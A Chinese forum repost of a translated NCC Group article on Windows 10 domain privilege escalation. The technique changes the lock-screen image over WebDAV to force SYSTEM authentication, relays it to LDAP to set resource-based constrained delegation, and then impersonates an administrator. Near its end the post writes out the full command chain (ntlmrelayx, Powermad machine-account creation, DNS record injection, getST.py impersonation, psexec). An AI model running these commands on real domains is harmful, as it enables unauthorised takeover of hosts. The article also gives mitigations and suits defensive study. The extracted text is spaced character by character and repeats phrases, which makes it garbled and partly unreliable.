搜索

[14604] 2019-09-19_在满补丁的Win10域主机上绕过图形接口依赖实现本地提权

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-18
2019-09-19_在满补丁的Win10域主机上绕过图形接口依赖实现本地提权 在 满 补 丁 的 W i n 1 0 域 主 机 上 绕 过 图 形 接 口 依 赖 实 现 本 地 提 权 s e c i s t   F r e e B u f   2 0 1 9 - 0 9 - 1 9 在 最 近 一 次 的 活 动 目 录 （ 在 最 近 一 次 的 活 动 目 录 （ A c t i v e   D i r e c t o r y ） 评 估 期 间 ， 我 们 以 低 权 限 用 户 的 身 份 访 问 了 一 个 完 全 修 补 且 安 全 的 域 工 作 站 。 在 尝 试 了 许 多 不 同 的 方 法 来 提 升 本 地 权 限 后 ， 我 们 发 现 了 ） 评 估 期 间 ， 我 们 以 低 权 限 用 户 的 身 份 访 问 了 一 个 完 全 修 补 且 安 全 的 域 工 作 站 。 在 尝 试 了 许 多 不 同 的 方 法 来 提 升 本 地 权 限 后 ， 我 们 发 现 了 E l a d   S h a m i r 发 表 的 一 篇 题 为 发 表 的 一 篇 题 为 “ W a g g i n g   t h e   D o g ： 滥 用 基 于 资 源 的 约 束 委 派 攻 击 活 动 目 录 ： 滥 用 基 于 资 源 的 约 束 委 派 攻 击 活 动 目 录 ” [ 1 ] 的 博 文 。 的 博 文 。 该 帖 中 提 到 了 关 于 低 权 限 用 户 可 能 滥 用 用 户 配 置 文 件 图 像 更 改 功 能 ， 从 给 定 计 算 机 实 现 作 为 S Y S T E M 的 网 络 身 份 验 证 。 然 后 ， 此 身 份 验 证 将 被 中 继 到 A c t i v e   D i r e c t o r y   L D A P 服 务 ， 以 便 为 该 特 定 计 算 机 设 置 基 于 资 源 的 约 束 委 派 [ 2 ] ， 这 引 起 了 我 们 的 注 意 。 这 似 乎 是 一 个 有 趣 的 方 法 ， 但 这 里 有 一 个 问 题 ： 攻 击 需 要 访 问 图 形 界 面 。 不 幸 的 是 ， 我 们 获 取 的 是 一 个 反 向 s h e l l ， 还 没 有 找 到 一 种 可 以 安 全 访 问 图 形 界 面 的 方 法 。 因 此 ， 我 们 必 须 摆 脱 对 G U I 的 依 赖 。 O b j e c t i v e 本 文 的 目 的 是 向 大 家 展 示 ， 如 何 在 打 满 补 丁 的 W i n 1 0 域 主 机 上 绕 过 图 形 接 口 依 赖 实 现 本 地 提 权 。 你 可 能 已 经 注 意 到 了 [ 1 ] ， 这 种 攻 击 并 不 新 鲜 ， 但 我 们 已 经 删 除 了 它 的 一 些 依 赖 项 ， 同 时 我 们 也 已 自 动 化 了 该 过 程 ， 以 简 化 我 们 的 操 作 过 程 。 攻 击 条 件 攻 击 条 件 截 至 本 文 撰 写 ， 攻 击 者 仍 需 满 足 以 下 条 件 ， 才 能 使 用 此 技 术 妥 协 A c t i v e   D i r e c t o r y 计 算 机 对 象 ： 具 有 至 少 一 个 具 有 至 少 一 个 S e r v i c e P r i n c i p a l N a m e   ( S P N ) 的 帐 户 。 的 帐 户 。 此 帐 户 将 被 配 置 为 受 害 者 系 统 上 的 “ 允 许 代 表 其 他 身 份 （ A l l o w e d   T o   A c t   O n   B e h a l f   O f   O t h e r   I d e n t i t y ） ” ， 并 将 用 于 调 用 S 4 U 2 s e l f 和 S 4 U 2 p r o x y 协 议 。 必 须 在 受 害 计 算 机 上 安 装 必 须 在 受 害 计 算 机 上 安 装 W e b D A V   R e d i r e c t o r 功 能 。 功 能 。 这 是 因 为 W e b D A V 客 户 端 不 协 商 签 名 ， 因 此 允 许 身 份 验 证 中 继 到 L D A P 。 S M B 中 继 可 以 使 用 最 近 发 现 的 s i g n i n g / M I C   N T L M 绕 过 来 实 现 ， 但 这 已 被 微 软 修 复 了 。 [ 6 ]   [ 7 ] 指 向 攻 击 者 计 算 机 的 指 向 攻 击 者 计 算 机 的 D N S 记 录 。 记 录 。 W e b D A V 客 户 端 将 仅 自 动 向 I n t r a n e t 区 域 中 的 主 机 进 行 身 份 验 证 。 这 意 味 着 使 用 I P 而 非 主 机 名 是 行 不 通 的 。 访 问 访 问 G U I 以 使 用 以 使 用 “ C r e a t e   y o u r   p i c t u r e   →   B r o w s e   f o r   o n e ” 功 能 。 功 能 。 其 中 一 个 步 骤 是 由 S y s t e m （ 因 此 ， 计 算 机 帐 户 在 网 络 中 ） 完 成 的 ， 并 且 可 以 指 定 W e b D A V 路 径 （ m a l i c i o u s W e b D a v @ 8 0 p i c s p i c . j p g ） 以 下 信 息 对 尝 试 满 足 上 述 依 赖 非 常 有 用 ： 1 .   默 认 的 A c t i v e   D i r e c t o r y   m s - D S - M a c h i n e A c c o u n t Q u o t a 属 性 ， 允 许 所 有 域 用 户 向 域 中 添 加 最 多 1 0 个 计 算 机 帐 户 [ 4 ] 。 另 外 ， 计 算 机 帐 户 具 有 其 S P N 属 性 的 值 ， 因 此 允 许 使 用 S 4 U 协 议 。 2 .   在 W i n d o w s   1 0 上 ， 默 认 情 况 下 已 安 装 W e b D A V 客 户 端 。 在 W i n d o w s   S e r v e r   2 0 1 2 R 2 及 更 早 版 本 中 ， 需 要 桌 面 体 验 功 能 （ D e s k t o p   E x p e r i e n c e   f e a t u r e   ） 。 在 W i n d o w s   S e r v e r   2 0 1 6 及 更 高 版 本 上 ， 必 须 手 动 安 装 W e b D A V   R e d i r e c t o r   功 能 。 3 .   默 认 情 况 下 ， 经 过 身 份 验 证 的 用 户 在 A c t i v e   D i r e c t o r y 集 成 D N S （ A D I D N S ） 区 域 中 ， 具 有 “ 创 建 所 有 子 对 象 ” A C L 。 这 样 可 以 创 建 新 的 D N S 记 录 。
前 三 个 条 件 很 容 易 满 足 ， 因 为 它 们 代 表 了 默 认 的 A c t i v e   D i r e c t o r y 和 W i n d o w s 配 置 。 但 是 ， G U I 的 依 赖 在 我 们 的 场 景 中 着 实 是 一 个 令 人 感 到 沮 丧 的 限 制 。 通 过 命 令 行 更 改 图 像 通 过 命 令 行 更 改 图 像 作 为 第 一 种 方 法 ， 我 们 研 究 了 使 用 A P I 或 W i n d o w s 命 令 实 用 程 序 来 更 改 配 置 文 件 图 像   -   但 并 没 有 成 功 。 然 而 ， 我 们 发 现 了 通 过 对 锁 屏 图 像 的 操 作 可 以 暴 露 出 相 同 的 攻 击 路 径 。 以 下 截 图 说 明 了 这 一 点 。 注 意 ： 注 意 ： 在 发 表 这 篇 文 章 前 几 天 ， E l a d   S h a m i r 发 表 文 章 称 他 还 发 现 了 这 个 锁 屏 图 像 攻 击 路 径 。 有 关 他 的 研 究 可 以 在 [ 1 2 ] 中 找 到 。 在 研 究 锁 屏 图 像 功 能 时 ， 我 们 发 现 在 本 例 中 ， 可 以 使 用 A P I 来 执 行 锁 屏 图 像 更 改 [ 3 ] 。 使 用 这 个 A P I ， 我 们 最 终 通 过 命 令 行 实 现 了 S Y S T E M 网 络 身 份 验 证 。 编 写 P o w e r S h e l l 脚 本 和 C # 程 序 集 以 利 用 此 A P I 。 我 们 调 用 了 实 用 程 序 C h a n g e - L o c k s c r e e n ， 它 可 以 在 以 下 链 接 中 找 到 ： h t t p s : / / g i t h u b . c o m / n c c g r o u p / C h a n g e - L o c k s c r e e n 使 用 此 工 具 ， 指 示 提 供 图 像 的 W e b D A V 的 路 径 ， C h a n g e - L o c k s c r e e n 将 执 行 导 致 所 需 网 络 身 份 验 证 的 操 作 。 请 注 意 ， 默 认 情 况 下 ， W i n d o w s   1 0 具 有 一 个 名 为 W i n d o w s   S p o t l i g h t 的 功 能 。 此 功 能 会 自 动 下 载 并 显 示 锁 屏 图 像 。 启 用 此 功 能 后 ， C h a n g e - L o c k s c r e e n 将 禁 用 它 ， 并 建 立 参 数 中 指 定 的 图 像 （ 尝 试 使 用 o p s e c ） 。 但 是 ， 如 果 用 户 设 置 了 一 个 静 态 的 、 自 定 义 的 锁 屏 图 像 而 不 是 使 用 S p o t l i g h t ， 则 C h a n g e - L o c k s c r e e n 将 备 份 该 图 像 ， 并 在 攻 击 完 成 后 将 其 放 回 原 位 。 演 示 视 频 ： 演 示 视 频 ： 在 在 I m p a c k e t 中 实 施 攻 击 中 实 施 攻 击 最 初 ， 我 们 使 用 3 x o c y t e （ 与 E l a d   S h a m i r 合 作 ） 开 发 的 r b c d _ r e l a y . p y 委 托 中 继 工 具 [ 5 ] 。 虽 然 这 在 我 们 的 一 些 测 试 场 景 中 非 常 有 用 ， 但 它 并 没 有 涵 盖 我 们 所 需 的 一 切 。 因 此 ， 我 们 决 定 通 过 执 行 p u l l 请 求 ， 在 3 x c e l y 的 工 作 和 S e c u r e A u t h 的 I m p a c k e t 项 目 [ 1 3 ] 中 添 加 我 们 自 己 的 内 容 。 我 们 向 n t l m r e l a y x 添 加 了 一 个 名 为 — s e r v e - i m a g e 的 新 标 志 。 使 用 此 标 志 ， n t l m r e l a y x 将 提 供 指 定 的 图 像 以 满 足 攻 击 的 目 的 。
此 外 ， 为 了 利 用 W e b D A V 的 服 务 器 功 能 ， 有 必 要 在 h t t p r e l a y s e r v e r . p y 中 实 现 O P T I O N S 和 P R O P F I N D 方 法 。 O P T I O N S 方 法 用 于 通 知 客 户 端 支 持 并 启 用 P R O P F I N D 方 法 。 它 是 P R O P F I N D 请 求 ， 其 中 包 括 N T L M 身 份 验 证 ， 因 此 这 个 请 求 将 被 中 继 以 执 行 攻 击 （ 示 例 请 求 如 下 图 所 示 ） 。 示 例 用 法 如 下 ： 这 些 功 能 已 经 在 I m p a c k e t 中 合 并 ， 你 可 以 在 以 下 位 置 找 到 ： h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t P o C 以 下 是 有 关 使 用 C h a n g e - L o c k s c r e e n 和 n t l m r e l a y x 攻 击 的 视 频 演 示 ： 以 下 步 骤 对 应 于 上 述 视 频 内 容 ： 1 .   我 们 需 要 一 个 具 有 S e r v i c e P r i n c i p a l N a m e 属 性 值 的 帐 户 ， 才 能 调 用 S 4 U 2 S e l f 和 S 4 U 2 P r o x y 。 我 们 可 以 滥 用 默 认 的 A c t i v e   D i r e c t o r y   m s - D S - M a c h i n e A c c o u n t Q u o t a 属 性 ， 将 计 算 机 帐 户 添 加 到 域 中 并 使 用 它 （ P o w e r m a d   [ 1 1 ] ） 。 2 .   我 们 必 须 创 建 一 个 指 向 攻 击 者 机 器 （ 攻 击 者 I P ） 的 D N S 记 录 （ I m a g e S e r v e r . c a p s u l e . c o r p ） 。 3 .   我 们 通 过 使 用 l o w - p r i v 用 户 来 更 改 锁 屏 图 像 来 触 发 F i l e s e r v e r 的 网 络 身 份 验 证 。 4 .   使 用 n t l m r e l a y x ， 身 份 验 证 将 中 继 到 L D A P 。 这 允 许 我 们 修 改 机 器 的 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 。 5 .   现 在 ， 我 们 可 以 使 用 受 信 任 的 计 算 机 （ S 4 U M a c h i n e $ ） 模 拟 文 件 服 务 器 上 任 意 服 务 的 任 意 用 户 。 以 下 短 视 频 以 图 形 、 概 念 化 的 方 式 向 大 家 展 示 了 攻 击 中 涉 及 的 各 个 步 骤 。 缓 解 和 检 测 缓 解 和 检 测 以 下 几 点 有 助 于 缓 解 和 检 测 此 类 攻 击 ： 由 于 此 攻 击 依 赖 于 能 够 为 自 身 配 置 基 于 K e r b e r o s 资 源 的 约 束 委 派 的 计 算 机 ， 因 此 拒 绝 自 己 写 入 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 的 计 算 机 上 的 新 A C E ， 将 有 助 于 缓 解 此 攻 击 面 。 对 m s D S - A l l o w e d T o A c t O n B e h a l f O f O t h e r I d e n t i t y 属 性 ， 实 施 适 当 的 S A C L 将 有 助 于 检 测 对 此 功 能 的 修 改 。 最 后 ， 通 过 c h a n n e l 绑 定 启 用 L D A P 签 名 ， 可 以 缓 解 使 用 此 攻 击 执 行 的 身 份 验 证 中 继 。 有 关 此 主 题 的 完 整 详 细 说 明 ， 请 参 阅 W a g g i n g   t h e   D o g   [ 1 ] 。 n t l m r e l a y x . p y   - t   l d a p : / / d c 0 1 . c a p s u l e . c o r p   - - d e l e g a t e - a c c e s s   - - e s c a l a t e - u s e r   m a c h i n e $   - - s e r v e - i m a g e   . / s p o t . j p g $ p a s s   =   C o n v e r t T o - S e c u r e S t r i n g   ‘ N C C 1 2 3 4 ! ’   - A s P l a i n T e x t   - F o r c e   ;   N e w - M a c h i n e A c c o u n t   – M a c h i n e A c c o u n t   s 4 u m a c h i n e   - P a s s w o r d   $ p a s s $ c r e d   =   N e w - O b j e c t   S y s t e m . M a n a g e m e n t . A u t o m a t i o n . P S C r e d e n t i a l   ( “ C A P S U L E s 4 u m a c h i n e ” ,   $ p a s s ) ;   I n v o k e - D N S U p d a t e   - D N S T y p e   A   - D N S N a m e   I m a g e S e r v e r . c a p s u l e . c o r p   - D N S D a t a   1 0 . 1 0 . 1 1 . 1 3 7 C h a n g e - L o c k s c r e e n   – W e b d a v   i m a g e s e r v e r @ 8 0 N t l m r e l a y x . p y   - t   l d a p : / / d c 0 1 . c a p s u l e . c o r p   - - d e l e g a t e - a c c e s s   - - e s c a l a t e - u s e r   s 4 u m a c h i n e $   - - s e r v e - i m a g e   . / s p o t . j p g g e t S T . p y   c a p s u l e s 4 u m a c h i n e : ’ N C C 1 2 3 4 ! ’ @ f i l e s e r v e r . c a p s u l e . c o r p   - s p n   c i f s / f i l e s e r v e r . c a p s u l e . c o r p   - i m p e r s o n a t e   a d m i n i s t r a t o r   - d c - i p   1 0 . 1 0 . 1 1 . 1 2 8 E x p o r t   K R B 5 C C N A M E = a d m i n i s t r a t o r . c c a c h e P s e x e c . p y   - k   - n o - p a s s   f i l e s e r v e r . c a p s u l e . c o r p
参 考 文 献 参 考 文 献 1 .   h t t p s : / / s h e n a n i g a n s l a b s . i o / 2 0 1 9 / 0 1 / 2 8 / W a g g i n g - t h e - D o g . h t m l 2 .   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s - s e r v e r / s e c u r i t y / k e r b e r o s / k e r b e r o s - c o n s t r a i n e d - d e l e g a t i o n - o v e r v i e w 3 .   h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / u w p / a p i / w i n d o w s . s y s t e m . u s e r p r o f i l e . l o c k s c r e e n 4 .   h t t p s : / / d o c s . m i c r o s o f t . c o m / e s - e s / w i n d o w s / d e s k t o p / a d s c h e m a / a - m s - d s - m a c h i n e a c c o u n t q u o t a 5 .   h t t p s : / / g i s t . g i t h u b . c o m / 3 x o c y t e / 4 e a 8 e 1 5 3 3 2 e 5 0 0 8 5 8 1 f e b d b 5 0 2 d 0 1 3 9 c 6 .   h t t p s : / / b l o g . p r e e m p t . c o m / d r o p - t h e - m i c 7 .   h t t p s : / / d i r k j a n m . i o / e x p l o i t i n g - C V E - 2 0 1 9 - 1 0 4 0 - r e l a y - v u l n e r a b i l i t i e s - f o r - r c e - a n d - d o m a i n - a d m i n / 8 .   h t t p s : / / d i r k j a n m . i o / w o r s t - o f - b o t h - w o r l d s - n t l m - r e l a y i n g - a n d - k e r b e r o s - d e l e g a t i o n / 9 .   h t t p : / / w w w . h a r m j 0 y . n e t / b l o g / a c t i v e d i r e c t o r y / a - c a s e - s t u d y - i n - w a g g i n g - t h e - d o g - c o m p u t e r - t a k e o v e r / 1 0 .   h t t p s : / / w w w . h a r m j 0 y . n e t / b l o g / r e d t e a m i n g / a n o t h e r - w o r d - o n - d e l e g a t i o n / 1 1 .   h t t p s : / / g i t h u b . c o m / K e v i n - R o b e r t s o n / P o w e r m a d 1 2 .   h t t p s : / / s h e n a n i g a n s l a b s . i o / 2 0 1 9 / 0 8 / 0 8 / L o c k - S c r e e n - L P E . h t m l 1 3 .   h t t p s : / / g i t h u b . c o m / S e c u r e A u t h C o r p / i m p a c k e t * 参 考 来 源 ： 参 考 来 源 ： n c c g r o u p ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理